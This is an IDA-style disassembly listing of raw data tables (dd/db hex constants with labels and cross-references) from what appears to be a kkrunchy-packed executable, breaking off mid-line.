8BE8FF7Bh, 0FFD81CFFh, 80FFF5B0h, 0F650FFFDh dd 0FFFD5CFFh, 1CFFFD6Ch, 0F5B0FFD8h, 0FFD898FFh, 13FFE068h dd 0D81CFFE5h, 1014FFh, 0C6000146h, 0F6000000h, 0C2FFh dd 24FFF800h, 0FA34FFF8h, 0FFFA38FFh, 40FFFA3Ch, 0FA44FFFAh dd 0FFFA48FFh, 50FFFA4Ch, 0FA54FFFAh, 0FFF600FFh, 0FFFAACh dd 0F800FFF8h, 146FFh, 280000C6h, 0C2FFF9h, 0FFF32800h dd 28FFF328h, 0F368FFF3h, 0FFF36CFFh, 28FFF328h, 0F328FFF3h dd 0FFFC8CFFh, 12FFF928h, 0FD12FFFDh, 0FFFF76FFh, 8CFFFC8Ch dd 0FB28FFFCh, 0FFFBAEFFh, 28FFF928h, 146FFFBh, 0C600h dd 0C2FFFDF8h, 0DDF80000h, 0FFDE01FFh, 0F8FFDDF8h, 0DE01FFDDh dd 0FFEDF8FFh, 25FFEE28h, 0EDF8FFEEh, 0FFEDFBFFh, 0F8FFEDF8h dd 0DE01FFDDh, 0FFDDF8FFh, 0F8FFDE01h, 0DE01FFDDh, 0FFEDF8FFh dd 0F8FFEDF8h, 0EF28FFFDh, 0FFF680FFh, 0F8FFEDF8h, 146FFDDh dd 0C600h, 0C2FFFA48h, 0FC480000h, 0FFEC9CFFh, 9CFF7144h dd 6B1CFFECh, 416B1841h, 98FFEC9Ch, 0F59DFFF5h, 0FFFC48FFh dd 48FFFA48h, 0FC48FFFCh, 0FFF5DCFFh, 0DCFFFC48h, 7144FFF5h dd 0FFEC9CFFh, 9CFF8C9Ch, 3144FF8Ch, 0FFCC9CFFh, 74FFCC9Ch dd 0CC9CFFFFh, 0FFFF74FFh, 9CFFAC9Ch, 0AC9CFFACh, 0FF3144FFh dd 44416B20h, 6B20FF71h, 0FF314441h, 44FF3144h, 6B20FF31h dd 0FF714441h, 44FF7144h, 6B20FF71h, 416B2041h, 0F2FFDFF0h dd 0DFF0FFDFh, 0FFDFF2FFh, 0F0FFDFF0h, 6C20FFDFh, 416C2041h dd 20416C21h, 0FE00416Ch, 0FFFE00FFh, 0D0FFFDD0h, 0FDD0FFFDh dd 0FFFCD1FFh, 0D0FFFCD0h, 0FAD0FFFAh, 0FFFCD0FFh, 0D0FFFDD0h dd 0FDD0FFFDh, 0FFFDD0FFh, 0D0FFFDD0h, 0FCD0FFFDh, 0FFFDD0FFh dd 0D0FFFDD0h, 0FDD0FFFDh, 0FFFDD0FFh, 0D0FFFDD0h, 0FDD0FFFDh dd 0FFFDD0FFh, 0D0FFFCD0h, 0FDD0FFFDh, 0FFFDD0FFh, 0D0FFFCD0h dd 0FDD0FFFDh, 0FFFDD0FFh, 0D0FFFDD0h, 0FDD0FFFDh, 0FFFE00FFh dd 0FFFE00h, 0FE00FFFEh, 0FFFE00FFh, 0FFFE00h, 0FE00FFFEh dd 0FFFE00FFh, 0FFFE00h, 0FE00FFFEh, 0FFFE00FFh, 0FFFE00h dd 0FE50FFFEh, 0FFFE50FFh, 54FFFE50h, 0FE50FFFEh, 0FFFE50FFh dd 8800018Bh, 0FA88FFFBh, 0FFFA88FFh, 8CFFFB88h, 0FF34FFFBh dd 0FFF284FFh, 84FFF288h, 0FD30FFF2h, 0FFFD31FFh, 34FFFF34h dd 0FF35FFFFh, 0FFFF36FFh, 34FFFF37h, 0FD30FFFDh, 0FFFD31FFh dd 33FFFD32h, 0FD30FFFDh, 0FFFF35FFh, 36FFFF37h, 0FD30FFFFh dd 0FFFD31FFh, 33FFFD32h, 0FD32FFFDh, 0FFFD33FFh, 30FFFD34h dd 0FB88FFFDh, 0FFFB88FFh, 8F00018Bh, 880000h, 8900h, 8D000086h dd 0FE740000h, 0FFFF1CFFh, 0C0FFFE74h, 8E20417Ch, 418E2041h dd 0C0FFFDC0h, 0FDC0FFFDh, 417D98FFh, 0FFFF00h, 0FF00FFFFh dd 0FFFDBCFFh, 0BCFFFDBFh, 0FDBCFFFDh, 0FFFDBCFFh, 0BCFFFDBFh dd 0F7BCFFFDh, 0FFF7B8FFh, 50FFF7B8h, 0FE54FFFEh, 0FFFE50FFh dd 50FFFE54h, 0FE5AFFFEh, 0FFFE54FFh, 50FFFE50h, 18BFFFEh dd 0FFF7F800h, 0F8FFF7F8h, 0FEB4FFF7h, 0FFFEF2FFh, 0F2FFFEF6h dd 0FEF2FFFEh, 0FFFEEEFFh, 0EEFFFEF2h, 0FF76FFFEh, 0FFFEF2FFh dd 0F6FFFF76h, 0FF7AFFFEh, 0FFFF7AFFh, 0E6FFFEB4h, 0FF76FFFEh dd 0FFFEF2FFh, 76FFFEB4h, 0FF7AFFFFh, 0FFFEF2FFh, 18FFFD0Ch dd 0FBC0FFFEh, 0FFFE18FFh, 98FFFBC4h, 0FBC0417Dh, 0FFFBC4FFh dd 82FFFBD7h, 0FBD7FFFCh, 0FFFE18FFh, 0C1FFFD10h, 0FAC0FFFAh dd 0FFF9C1FFh, 0C0FFF9C0h, 0FD10FFF9h, 0FFFAC0FFh, 0CFFFE2Eh dd 0FBC0FFFDh, 0FFFC82FFh, 82FFFBC0h, 0FC82FFFCh, 0FFFC82FFh dd 32FFFC82h, 0FE18FFFEh, 0FFFE26FFh, 0CFFFD10h, 0FE18FFFDh dd 0FFFE26FFh, 0CFFFD10h, 0FE32FFFDh, 0FFFBC0FFh, 26FFFD0Ch dd 0F9C0FFFEh, 0FFFAC0FFh, 10FFF9C0h, 0FAC0FFFDh, 0FFFAC0FFh dd 0C0FFFE18h, 0FE26FFFAh, 0FFFE2AFFh, 0C0FFFBC0h, 0FD0CFFFBh dd 0FFF8C0FFh, 0C0FFFE18h, 0FE32FFF8h, 0FFFE18FFh, 32FFFD10h dd 0FD0CFFFEh, 10CFFh, 1E00011Ah, 1220001h, 12600h, 1A00018Bh dd 0FB780001h, 0FFFB78FFh, 7CFFFCFCh, 0FEA4FFFBh, 0FFFEA4FFh dd 0B7FFFEA0h, 0FEA0FFFEh dd 0FFFE93FFh, 0A0FFFF62h, 0FF62FFFEh, 0FFFE83FFh, 84FFFF62h dd 0FF62FFFEh, 0FFFF62FFh, 94FFFE87h, 0FE87FFFEh, 0FFFCFCFFh dd 94FFFE94h, 0FE87FFFEh, 0FFFE95FFh, 0A0FFFEB7h, 0FEA4FFFEh dd 0FFFCFCFFh, 0FCFFFB78h, 0FB78FFFCh, 184FFh, 44FFFE44h dd 0FC44FFFCh, 0FFFC44FFh, 44FFFC44h, 0FE48FFFCh, 0FFFE44FFh dd 56FFFD4Ch, 0FE50FFFEh, 0FFFD50FFh, 50FFFE50h, 0FE5AFFFDh dd 0FFFE56FFh, 50FFFE50h, 0FE5AFFFDh, 0FFFD4CFFh, 0E000104h dd 10A0001h, 0FFFD3800h, 3CFFFE44h, 0FD38FFFEh, 0FFFE3EFFh dd 3CFFFE44h, 0FD3CFFFEh, 0FFFD38FFh, 38FFFE48h, 0FE3EFFFDh dd 0FFFD3CFFh, 40FFFE3Eh, 0FD38FFFEh, 0FFFD3CFFh, 3CFFFE48h dd 0FE48FFFDh, 0FFFD38FFh, 6000104h, 1080001h, 10C00h dd 6000110h, 1040001h, 18B00h, 3CFFFDBCh, 0FDBCFFFAh, 0FFFDBCFFh dd 58FFFDC0h, 0FA3CFFFFh, 0FFFF58FFh, 64FFFBBCh, 0FCBCFFFFh dd 0FFFC3CFFh, 0BCFFFD3Ch, 0FD3CFFFBh, 0FFFC3CFFh, 64FFFCBCh dd 0FF64FFFFh, 0FFFF64FFh, 3CFFFBBCh, 0FD3CFFFCh, 0FFFF64FFh dd 0C0FFFCBCh, 0FDBCFFFDh, 0FFFF58FFh, 0C0FFFDBCh, 0FDBCFFFDh dd 0FFFD70FFh, 70FFFD70h, 0FD70FFFDh, 0FFFD74FFh, 0CFFFF0Ch dd 0FD70FFFFh, 0FFFF7CFFh, 44FFF844h, 0FA44FFFAh, 0FFFA43FFh dd 5CFFFA44h, 0F644FFF0h, 0FFFF7CFFh, 44FFFF09h, 0F844FFFAh dd 0FFFD74FFh, 0A8FFFF7Ch, 0FA44FFFCh, 0FFFA44FFh, 44FFFCA8h dd 0FCA8FFFAh, 0FFFA44FFh, 74FFF844h, 0FF7CFFFDh, 0FFFA44FFh dd 43FFFA44h, 0FA46FFFAh, 0FFFC44FFh, 44FFFC44h, 0FF18FFFCh dd 0FFFF18FFh, 18FFFF18h, 0FF09FFFFh, 0FFFF18FFh, 74FFFC44h dd 0FF7CFFFDh, 0FFF844FFh, 44FFF844h, 0F844FFF8h, 0FFFCA8FFh dd 0A8FFFCA8h, 0FF09FFFCh, 0FFFA44FFh, 74FFF844h, 0FCA8FFFDh dd 0FFFA44FFh, 0A8FFFA44h, 0FA44FFFCh, 0FFFCA8FFh, 44FFFA44h dd 0FD74FFF8h, 0FFF844FFh, 0CFFFA44h, 0FD70FFFFh, 0FFFD74FFh dd 44FFFD70h, 0FA44FFFEh, 0FFFA44FFh, 44FFFA44h, 0FE44FFFAh dd 0FFFE48FFh, 10FFFE44h, 0FC18FFFCh, 0FFFC18FFh, 90FFF690h dd 0FC14FFF6h, 0FFFC10FFh, 11FFFE18h, 0FB10FFFBh, 0FFFB10FFh dd 64FFFB10h, 0FC10FFE6h, 0FFE664FFh, 64FFE664h, 0E664FFE6h dd 0FFE664FFh, 74FFE66Dh, 0E670FFE6h, 0FFE670FFh, 14FFE670h dd 0E670FFFCh, 0FFF790FFh, 90FFE674h, 0F890FFF8h, 0FFF790FFh dd 90FFF990h, 0F990FFF9h, 0FFFE18FFh, 90FFFC10h, 0F990FFF9h dd 0FFFE18FFh, 10FFFC10h, 208FFFCh, 18B00h, 0D8FFEEA4h dd 0EED8FFEEh, 0FFEEA4FFh, 0E0FFED10h, 0EEE0FFEEh, 0FFED0CFFh dd 0E0FFEEDFh, 0ED14FFEEh, 0FFEEDCFFh, 0E4FFEFE4h, 0EFE4FFEFh dd 0FFEFE4FFh, 0DCFFEFE8h, 0EFE4FFEEh, 0FFEFE8FFh, 0FFEED8h dd 20084130h, 41200041h, 28412004h, 20B04120h, 4120B841h dd 944120F0h, 20984120h, 41209C41h, 0A44120A0h, 20A84120h dd 4120AC41h, 0A44120ACh, 20AC4120h, 4120A441h, 0CC4191CCh dd 20744191h, 41207841h, 804120F8h, 20844120h, 4120AC41h dd 884191C4h, 91BC4120h, 41208C41h, 0C44120A4h, 20904191h dd 4191C041h, 0E4412070h, 20B84121h, 41225841h, 8041225Ch dd 22804122h, 41225041h, 54419228h, 225C4122h, 41228041h dd 0B8412280h, 91D04120h, 41206841h, 8041206Ch, 20B84122h dd 4121E441h, 944191D8h, 20984120h, 4121E441h, 44412064h dd 22484122h, 41224C41h, 48412244h, 22304122h, 41223441h dd 48412238h, 22444122h, 41205C41h, 24412060h, 92284192h dd 41922441h, 2C419228h, 0A2684192h, 41205841h, 2C419634h dd 22284122h, 41222841h, 28412250h, 22244192h, 41922841h dd 48412250h, 22244122h, 41224841h, 28419224h, 922C4192h dd 41922441h, 1841222Ch, 221C4122h, 41227841h, 3C41922Ch dd 22144122h, 41223C41h, 144191D8h, 92244122h, 41222C41h dd 38412208h, 922C4122h, 41922441h, 841222Ch, 22384122h dd 41221441h, 1041922Ch, 20A44122h, 41224041h, 58412220h dd 22444122h, 41221441h, 1841222Ch, 22484122h, 41225441h dd 4841224Ch, 22484122h, 41225441h, 48412248h, 22604122h dd 4120A441h, 6041205Ch, 964C4120h, 41964041h, 6C419644h dd 966C4196h, 41964C41h, 4041209Ch, 96484196h, 41964441h dd 0A44120ACh, 209C4120h, 4120A041h, 0F04120ACh, 209C4120h dd 4120A841h, 4120ACh, 200C4120h, 41202841h, 0B8412054h dd 20544120h, 41204441h, 4C412048h, 20AC4120h, 41205041h dd 54412014h, 20404120h, 41201041h, 28412004h, 20944120h dd 41209841h, 0B841203Ch, 20484120h, 4121EC41h, 0AC412070h dd 21E44120h, 41209441h, 90412098h, 2054413Bh, 41205441h dd 684120B8h, 20B04120h, 41208441h, 94412264h, 20984120h dd 413B9041h, 64412054h, 20644122h, 41226441h, 58412064h dd 22484122h, 41223041h, 0A44120A4h, 20384120h, 41207C41h dd 30412018h, 20344120h, 41200041h, 2841200Ch, 3FCC4120h dd 41228041h, 28419224h, 922C4192h, 41228441h, 0CC4120D0h dd 21EC4120h, 4120D041h, 0DC4120CCh, 20D84120h, 4120D441h dd 0D84120DCh, 20D44120h, 4120DC41h, 0D44120D8h, 96704120h dd 41969041h, 0E0000000h, 91D84120h, 41h, 4120ACh, 0 dd 41969000h, 90419698h, 96904196h, 41969041h, 904120ACh dd 96904196h, 4120E441h, 904120ACh, 20E44196h, 4120AC41h dd 0E84120A4h, 20EC4120h, 4120F441h, 0A841969Ch, 206C4196h dd 4196A441h, 5C4196B0h, 20604120h, 4196A041h, 0B04196A0h dd 969C4196h, 4196A841h, 544196A4h, 224C4122h, 41223441h dd 0AC4120BCh, 21EC4120h, 4120A441h, 14414F20h, 4F00414Fh dd 4121F441h, 0D84121F0h, 4ECC414Eh, 414E9841h, 58414E68h dd 4E50414Eh, 41200041h, 2841200Ch, 20284120h, 414DD441h dd 0B8414DC4h, 8E20414Dh, 418E0041h, 4414D10h, 4CF8414Dh dd 414CEC41h, 0D0414CDCh, 4CC0414Ch, 414CB041h, 90414CA0h dd 4C84414Ch, 414C7841h, 64414C6Ch, 4C48414Ch, 414C3C41h dd 24414C30h, 4C14414Ch, 414C0041h, 0E8414BF0h, 4BAC414Bh dd 414B8041h, 54414B60h, 4B44414Bh, 414B3841h, 1C414B28h dd 4B10414Bh, 414B0441h, 0CC414AE4h, 4AC0414Ah, 414AAC41h dd 0A44120A4h, 4A98414Ah, 414A9041h, 0D8414A84h, 4A584191h dd 414A4C41h, 2C414A38h, 4A24414Ah, 414A1841h, 98412094h dd 21E44120h, 41206441h, 0CC414A0Ch, 49C44149h, 4149B841h dd 0A44149B0h, 49944149h, 41498C41h, 28419224h, 20A44192h dd 41922C41h, 24414900h, 92284192h, 41922C41h, 0B841922Ch dd 48584148h, 41224841h, 841222Ch, 22204122h, 41224041h dd 2C414838h, 48204148h, 41481841h, 441480Ch, 47F84148h dd 4147E841h, 0CC4147D4h, 47C04147h, 4147B841h, 0B8418E20h dd 0A268419Ah, 41A3E841h, 3441A1E8h, 8ED04120h, 418F5041h dd 44419D44h, 20A4419Dh, 419D4441h, 44419D44h, 9D44419Dh dd 4121F841h, 0C44120C8h, 21FC4120h, 4120C041h, 104120ACh dd 20344121h, 418E1841h, 68419E54h, 2024419Eh, 41202041h dd 7C41201Ch, 9E80419Eh, 419E8441h, 7C419E88h, 9E80419Eh dd 419E8441h, 7C419E88h, 9E80419Eh, 419E8441h, 84419E88h dd 9E80419Eh, 419E7C41h, 84419E88h, 9E80419Eh, 419E7C41h dd 88419E88h, 9E84419Eh, 419E8041h, 90419E7Ch, 2258419Eh dd 41225841h, 58412258h, 22584122h, 41225841h, 58412258h dd 22584122h, 41225841h, 58412258h, 20A44122h, 41207041h dd 1441920Ch, 920C4192h, 41204841h, 0AC412070h, 20AC4120h dd 41921441h, 4841222Ch, 22544122h, 41220841h, 58412220h dd 22204122h, 41224041h, 0C04191D0h, 77AC4177h, 41779841h dd 74417784h, 775C4177h, 41775041h, 1441773Ch, 76FC4177h dd 41766C41h, 344120A4h, 222C4176h, 41224841h, 18412254h dd 221C4122h, 41226041h, 68412214h, 22304122h, 41224041h dd 48412254h, 7CB54122h, 417CB541h, 20419EBCh, 9EBC418Eh dd 419EC041h, 58419EC0h, 7DC64122h, 41221041h, 144120A4h dd 22104122h, 4120A441h, 0A4412210h, 7DC64120h, 41225841h dd 0A44191D0h, 20A44120h, 4120A441h, 98412280h, 7DC6417Dh dd 417D9841h, 804120A4h, 20004122h, 41200C41h, 0C412028h dd 20D04121h, 4120A441h, 204120A4h, 21EC4192h, 4121EC41h dd 10412104h, 21044121h, 4120A441h, 412110h, 21044122h dd 41210441h, 0A4412040h, 21104120h, 41210841h, 44120A4h dd 20A44121h, 4120A441h, 20000000h, 21F04192h, 41200041h dd 2C412028h, 22704122h, 41224C41h, 6C41221Ch, 22544122h dd 41225841h, 48412248h, 22304122h, 41223041h, 48412248h dd 20A44122h, 4120A441h, 0B8412240h, 4120h, 4120FC00h dd 8418E0Ch, 8E04418Eh, 418E0041h, 4120A4h, 206C4121h dd 41209441h, 74412098h, 91D84122h, 41226441h, 0D041213Ch dd 21CC4121h, 4121C841h, 0C04121C4h, 21BC4121h, 4121B841h dd 0B04121B4h, 21AC4121h, 4121A841h, 0A04121A4h, 219C4121h dd 41219841h, 90412194h, 218C4121h, 41218841h, 80412184h aAAxAtApAlAhAdA db '!A|!Ax!At!Ap!Al!Ah!Ad!A`!A\!AX!AT!AP!AL!AH!AD!A@!A8!A4!A0!A,!A(!A' db 0 align 4 dd 0DC41220Ch, 20B44121h, 4121D441h, 1C412118h, 21204121h dd 41212441h dword_3FEF40 dd 0B84191C4h, 91BC4191h, 4191C041h, 0CC4191CCh, 91C44191h ; DATA XREF: kkrunchy:003EA440o dd 4191B841h, 0E04191BCh, 91E84191h, 4191EC41h, 0F44191F0h dd 91F84191h, 4191FC41h, 4419200h, 92084192h, 41920C41h dd 14419210h, 92184192h, 41922441h, 2C419228h, 92204192h dd 41921C41h, 4C419638h, 96404196h, 41964441h, 0D0419648h dd 921C4191h, 4143A041h, 704143A0h, 96984196h, 41h, 0D0000000h dd 96984191h, 41969841h, 98419698h, 96904196h, 41969841h dd 90419698h, 96984196h, 41969841h, 0E0419698h, 96A04191h dd 41969C41h, 0A44196A8h, 9FD04196h, 4191D841h, 44419D44h dd 9D44419Dh, 419D4C41h, 0B84191D0h, 7CB8417Ch, 4143A041h dd 0D0000000h, 9FD4419Fh, 419FD841h, 419FDCh db 2 dup(0) word_3FF01E dw 0B800h ; DATA XREF: kkrunchy:003EA444o dd 0A5E10004h, 14A0D00h, 49C20001h, 604BE00h, 0D0000101h dd 4CA0004h, 86CB00h, 0C4003639h, 9240004h, 5400050Bh dd 0B0B0A38h, 75E6F00h, 0D600070Dh, 357C0004h, 5D5800h dd 171704E2h, 4DC0006h, 170A090Bh, 1A04E800h, 16161A1Ah dd 710150Bh, 1413060Dh, 1B04EE00h, 0A090Bh, 100506h, 2C04h dd 170B1005h, 2D9D00h, 0F40004FAh, 17171704h, 210B17h dd 9102D70h, 2070Ah, 1081A7h, 2A00A459h, 26440009h, 292A001Fh dd 5160010h, 0E7002C24h, 86590085h, 0B276700h, 5100017h dd 170B3022h, 0B171717h, 102B2125h, 102B21h, 0D32051Ch dd 12121212h, 120D1409h, 20140912h, 7052E00h, 2DF60022h dd 37052800h, 52200h, 251F01BAh, 21233623h, 25252121h dd 0B020A09h, 7093000h, 222A700h, 3C02023Ch, 2020202h dd 702023Ch, 2060637h, 17020237h, 173A3A34h, 42DF000Bh dd 100B100Bh, 0A515000Dh, 1306061Dh, 62160014h, 87DB002Eh dd 321A1A0Dh, 1A1A0D09h, 7060932h, 7290706h, 0A0202h, 0A090540h dd 2F0B102Ah, 72DB200h, 3A700002h, 1D1D1D02h, 25252207h dd 3D102B2Fh, 1413060Dh, 28282835h, 292828h, 52520570h dd 2A503252h, 92002B20h, 2700562Dh, 5A575962h, 2B202A50h dd 20030257h, 2292957h, 575A1A0Dh, 7E8000Ah, 0D0A576Ah dd 576A0957h, 0A2AF700h, 244B001Ah, 57781A57h, 1F005778h dd 6A494A2Eh, 780A0949h, 1A10321Ah, 28182828h, 28280718h dd 7282828h, 18280718h, 28282807h, 7180728h, 28071828h dd 7282828h, 28280718h, 18282828h, 28282807h, 18072828h dd 28282807h, 18072828h, 0A4930007h, 4FA4C300h, 5728834Eh dd 0D571010h, 32060613h, 1A143232h, 61D20009h, 0D620000h dd 0D057600h, 0A021A0Ah, 0B000712h, 0A090A62h, 0A0B0B0Ch dd 14090D10h, 69AC0032h, 0B0A0D32h, 2828320Ah, 3C3C3C28h dd 207073Ch, 0B0B0D09h, 0B07180Dh, 0A0A0B1Dh, 1D03021Dh dd 21231Fh, 21D3E31h, 211F1D03h, 71D1D1Dh, 2828289Ch, 70D0702h dd 1D031D9Dh, 0EA5A800h, 1D031D28h, 3039BA0h, 97A0A09Bh dd 1A9E9Ch, 1D9D057Ch, 0EA01D03h, 449E9C9Bh, 0A09B0303h dd 449E9CA0h, 520A0949h, 221A0B61h, 1A202925h, 5E222522h dd 25225E22h, 2A0A0925h, 0D2F0B10h, 9020257h, 0A5C5D00h dd 102B2F57h, 20D2928h, 7140906h, 21A1Ah, 1AAB4E4Fh, 0A93C071Ah dd 0B4B4B4B4h, 29322928h, 5B000202h, 0B6BABA4Bh, 18B6B6B6h dd 202BABAh, 0BF180202h, 61000BFh, 59000C1h, 0A090Eh, 0B35B5AB7h dd 100B35C0h, 214130Dh, 57201703h, 0C7C71717h, 0C7C7C7C7h dd 2030228h, 7352003h, 17361722h, 78001725h, 0A092506h dd 5B290002h, 20202h, 0C85623F9h, 100B35C9h, 1A14130Dh dd 9068000h, 1DD01A0Ah, 0D100B1Dh, 0B0001413h, 6A00006h dd 0CBD5D4CBh, 0DCBD5D4h, 412E0A89h, 760000Dh, 8B41020Ah dd 66000A0Ah, 1A0ADD07h, 8D1A8B8Dh, 8D8B32ADh, 0B008B35h dd 32AD8D69h, 358D1A8Bh, 8D1AE48Bh, 8B0B0A09h, 8D0B8B8Dh dd 0A5130D0Bh, 78001A0Ah, 72001A07h, 0F11A07h, 9F2076Ch dd 0EFEE090Ah, 0B0B0B0Bh, 3202090Dh, 32323232h, 200B490Ah dd 4A2207h, 7E004A76h, 8D8B0B07h, 0F50A0925h, 20D100Bh dd 9030202h, 7E4FA14h, 0FC078400h, 964A0049h, 90202h, 444BF94Bh dd 0A688C700h, 0A8F70706h, 97980007h, 97C400h, 0D000951Ah dd 4BE0095h, 944E00h, 0AE00982Eh, 909397h, 0CA0A5E1h, 0A00CA0A0h dd 0D04D000h, 0D0D0Dh, 4300CE4Ch, 0F0ED2h, 0CF1AEh, 0A086CBh dd 0DB0034AAh, 91333F01h, 0B400h, 150000h, 0B000010Ah dd 0CD00E704h, 0E7FD00E6h, 15C00h, 0B80049C2h, 0EBA70004h dd 4C40008h, 110608h, 0D90004CAh, 4E200A4h, 1E082106h dd 111F1109h, 95E54CE3h, 0DA2F00h, 44F9656Ch, 32441C1Ch dd 24002D2Eh, 0FB3B0009h, 3E1144h, 11118149h, 8A000808h dd 92929207h, 211192h, 2104E8h, 214FA459h, 68E90800h, 3CD22B11h dd 0C532241Ch, 0C6CE11CCh, 22004411h, 8D50085h, 0E2C20044h dd 0D884300h, 35AB1Fh, 0E2AB9236h, 0ABB31B37h, 51C0038h dd 0C5242433h, 24CF2424h, 245624C8h, 0C52424CDh, 24CF2424h dd 245624C8h, 242424CDh, 0AB242424h, 1B1E322Fh, 1C1CE086h dd 1CA48000h, 0A0A01C1Ch, 440C4BA0h, 441C1CA0h, 1C98C544h dd 0C396030Ch, 0C8CFCF1Ch, 0DC002929h, 1C0C1C04h, 361C440Ch dd 790C0C7Ah, 0C36A0A0h, 0A0A0790Ch, 394938h, 0EE000790h dd 497C0804h, 83D3C39h, 3D39497Ch, 83D3D3Ch, 3D3C497Ch dd 39417C08h, 24298408h, 24242440h, 1C082424h, 3933281Ch dd 240EA800h, 3B3B24F7h, 98C5243Bh, 96030C1Ch, 0CFCF1CC3h dd 392929C8h, 24242B24h, 4D60024h, 3540401Ch, 241C515Fh dd 28002438h, 1B671B05h, 9F72424h, 0AB1C0B0Ah, 31052E00h dd 242424ABh, 28240808h, 24240808h, 80808E4h, 76003337h dd 540006Ah, 242424AAh, 0B0A0907h, 0FA0CF7AAh, 0F644A0A0h dd 80831h, 0CC0098A4h, 996B0098h, 57545352h, 370D58h, 5C0796h dd 9C0007A2h, 0D5F07h, 620D9A38h, 2862280Dh, 99F30028h dd 286462h, 6A21A2D8h, 2 dup(6A216A21h), 296E3721h, 54535229h dd 0F77D277Eh, 7C7F4B3Eh, 4B337Fh, 2877D399h, 0D0D280Dh dd 0D0D0D0Dh, 7C0D0D08h, 7C7F4B7Fh, 794B337Fh, 0D0D287Ah dd 7C0D0D0Dh, 2D004B7Fh, 0ACBD00C4h, 812D9D00h, 0D79817Fh dd 0A8000D0Dh, 0D0D0DC5h, 7F4B0D6Fh, 792E1F00h, 0D0D0D29h dd 0D0D0D0Dh, 0D0D280Dh, 0D280D0Dh, 0D280D28h, 0D0D0D28h dd 4B847F0Dh, 211D0079h, 0D07A800h, 847F0D0Dh, 847F847Fh dd 0D0D0D0Dh, 28A70D0Dh, 0D0D0D28h, 847F0D0Dh, 0D82287Fh dd 0D0D0D0Dh, 4B7F0Dh, 847F2C04h, 847F847Fh, 858585h, 79882D70h dd 0D0D280Dh, 0D0D0D0Dh, 0D280D0Dh, 7F797F0Dh, 7F2DF600h dd 2 dup(7F8E7F8Eh), 820D0D8Eh, 0D0D0D0Dh, 0D7F7F0Dh, 0D0D0D28h dd 0C1004B7Fh, 7F8E7FD2h, 0D8E7F8Eh, 0D0D0D86h, 8E7F8E7Fh dd 0D828E7Fh, 8E7F0D0Dh, 0D1E8F8Fh, 4B941F1Fh, 287D7D90h dd 0D282828h, 0D08930Dh, 0BA004808h, 482407h, 482807B4h dd 0D0D2897h, 281E8787h, 0AE00870Dh, 870D8707h, 28288798h dd 95951F94h, 8A894B27h, 299A9A28h, 892929h, 92000506h dd 510002Dh, 8A9F7Fh, 8480500h, 0B200847Fh, 0ABABAB2Dh dd 5220001h, 9E4848h, 0F4000516h, 48A2A504h, 8487F08h dd 0A59E897Fh, 48A2A5A6h, 488A7F08h, 48847F08h, 489D7F08h dd 3EEC7F08h, 487F0848h, 848A7F08h, 39F7B2A3h, 0B28E7F08h dd 83937F7h, 0F7B28E7Fh, 2A001F0Dh, 0A78909h, 0E29F2644h dd 27670011h, 2A009FDCh, 0A8E229h, 1E2338h, 0DE0357Ch dd 8C00351Fh, 119E2824h, 28A5A6A5h, 70000808h, 0A5A1A505h dd 1BECEDA1h, 1EE2A23Eh, 0D0DE0B0h, 0D90330Dh, 0B537B5B5h dd 2929296Eh, 7F1C0D1Ch, 74741B1Bh, 7FA19EF7h, 0D84A2A1h dd 0EC0C0Ch, 3E1C24DEh, 0C0C0DB8h, 0DA38428h, 0BDB92828h dd 0B82B4400h, 0BDB9BCBAh, 0BCBAB89Fh, 0D9FBDB9h, 11E2AA1Fh dd 9FDCAB1Ch, 331EE2ACh, 0B0A92929h, 847F37E0h, 4E4F0047h dd 3000C8C8h, 0A4C9A409h, 1F0DC9C9h, 0BE244B00h, 3000C78Ah dd 1CA92925h, 0BF1C1CC2h, 1F0D9FC0h, 2849F000h, 0D240C1Ch dd 1C0C0Ch, 9C004D8Ch, 296E004Ch, 0EA22AFE2h, 2111EB39h dd 0F7D01C21h, 299600C1h, 2A1B0021h, 1E2AB500h, 1FDC0Dh dd 11BE29C6h, 212AF700h, 2B2F0011h, 0A700CEE2h, 0C1C3322h dd 1E333324h, 0E00D1B1Bh, 0C8111F0Dh, 0AF0C0C0Dh, 0D1E8922h dd 111F9FDCh, 1EE211C8h, 0DE00D1Bh, 0C1B1C1Fh, 1139083Dh dd 0E0B01EE2h, 89211F0Dh, 2111219Fh, 3333E211h, 0B01B1B1Eh dd 0D11F0DE0h, 0A92111E2h, 0D4D3D2C1h, 11257F00h, 0D71121D6h dd 1E3333E2h, 0D463333h, 0A45D5800h, 0D00A4A4h, 3D1C1C4Ah dd 0D9E399Eh, 6F00E51Fh, 0A59E115Eh, 0A21EA5A6h, 4747A2A1h dd 0A4474747h, 0A4A4A4A4h, 111F11E4h, 0E3B01EE8h, 0D07C800h dd 0F000E81Fh, 7FE0007h, 0ECEC11E8h, 0EDECECEDh, 8EDECECh dd 2 dup(47474711h), 47474747h, 47474711h, 47114747h, 28114747h dd 1EE81128h, 1F0DE3B0h, 0E8F7F7C9h, 0B01EE811h, 0E6E6E6E3h dd 0F2F2F2F2h, 281F0D4Bh, 35BE3511h, 0CC3533E1h, 0C3000833h dd 391B1BFBh, 111B111Bh, 1B331EE8h, 0A29EE30Dh, 0A5A6A59Eh dd 1FBF7A2h, 0DF00394Bh, 1D7B0042h, 35B700h, 69C65B98h dd 600734Dh, 37375696h, 81C3737h, 0D1001C1Ch, 40002B40h dd 3784355Ah, 4CA33540h, 8187C00h, 57C003Eh, 1B085F00h dd 88300h, 0FE000952h, 76C0008h, 22095800h dword_3FF9CC dd 1A70208h, 5BA031Eh, 3D00BBh, 0 ; DATA XREF: kkrunchy:003EA448o dd 129h, 0EF018Fh, 90C90h, 2 dup(0) dd 26004Bh, 3E201D5h, 4303F8h, 33068Ah, 4B0000h, 27Eh dd 3 dup(0) dd 0D0510h, 90000h, 3 dup(0) dd 1C0000h, 40199h, 1CE0A74h, 5490000h, 1A0584h, 21E007Bh dd 2360000h, 22504ECh, 194008Eh, 4, 248h, 0D80073h, 2D0684h dd 1B0000h, 0Dh, 1E70000h, 0D0FB6h, 113001Bh, 232029Ch dd 8940005h, 27001Bh, 5DA017Dh, 270A26h, 1AF0451h, 4F903BCh dd 1BF0438h, 6A9023Eh, 0B38h, 0 dd 592h, 0B001Dh, 5E401E1h, 59A0000h, 3 dup(0) dd 1F0000h, 0A520000h, 4B2046Ch, 0 dd 28C0000h, 33h, 0ACE013Dh, 0A220FDEh, 2050000h, 0B92h dd 24A0246h, 1BC0000h, 750h, 0 dd 18A0189h, 0 dd 120000h, 4B8026Fh, 1A10000h, 190436h, 0 dd 29900216h, 760073h, 181415h, 22160E17h, 14150000h, 20DA0CC3h dd 0 dd 14150000h, 7413A0h, 1D101D0Dh, 14150000h, 1414h, 740073h dd 